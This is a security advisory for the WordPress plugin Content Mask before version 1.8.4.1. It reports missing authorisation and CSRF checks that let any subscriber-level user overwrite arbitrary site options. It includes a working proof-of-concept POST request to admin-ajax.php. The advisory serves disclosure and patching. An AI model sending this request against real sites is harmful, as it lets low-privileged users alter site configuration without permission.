Content Mask < 1.8.4.1 - Subscriber+ Arbitrary Options Update

The plugin does not have authorisation and CSRF checks in various AJAX actions, as well as does not validate the option to be updated to ensure it belongs to the plugin. As a result, any authenticated user, such as subscriber could modify arbitrary blog options

PoC

POST /wp-admin/admin-ajax.php HTTP/1.1 Cookie: [subscriber+] Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 70 Connection: close action=update_content_mask_option&option;=default_role&value;=subscriber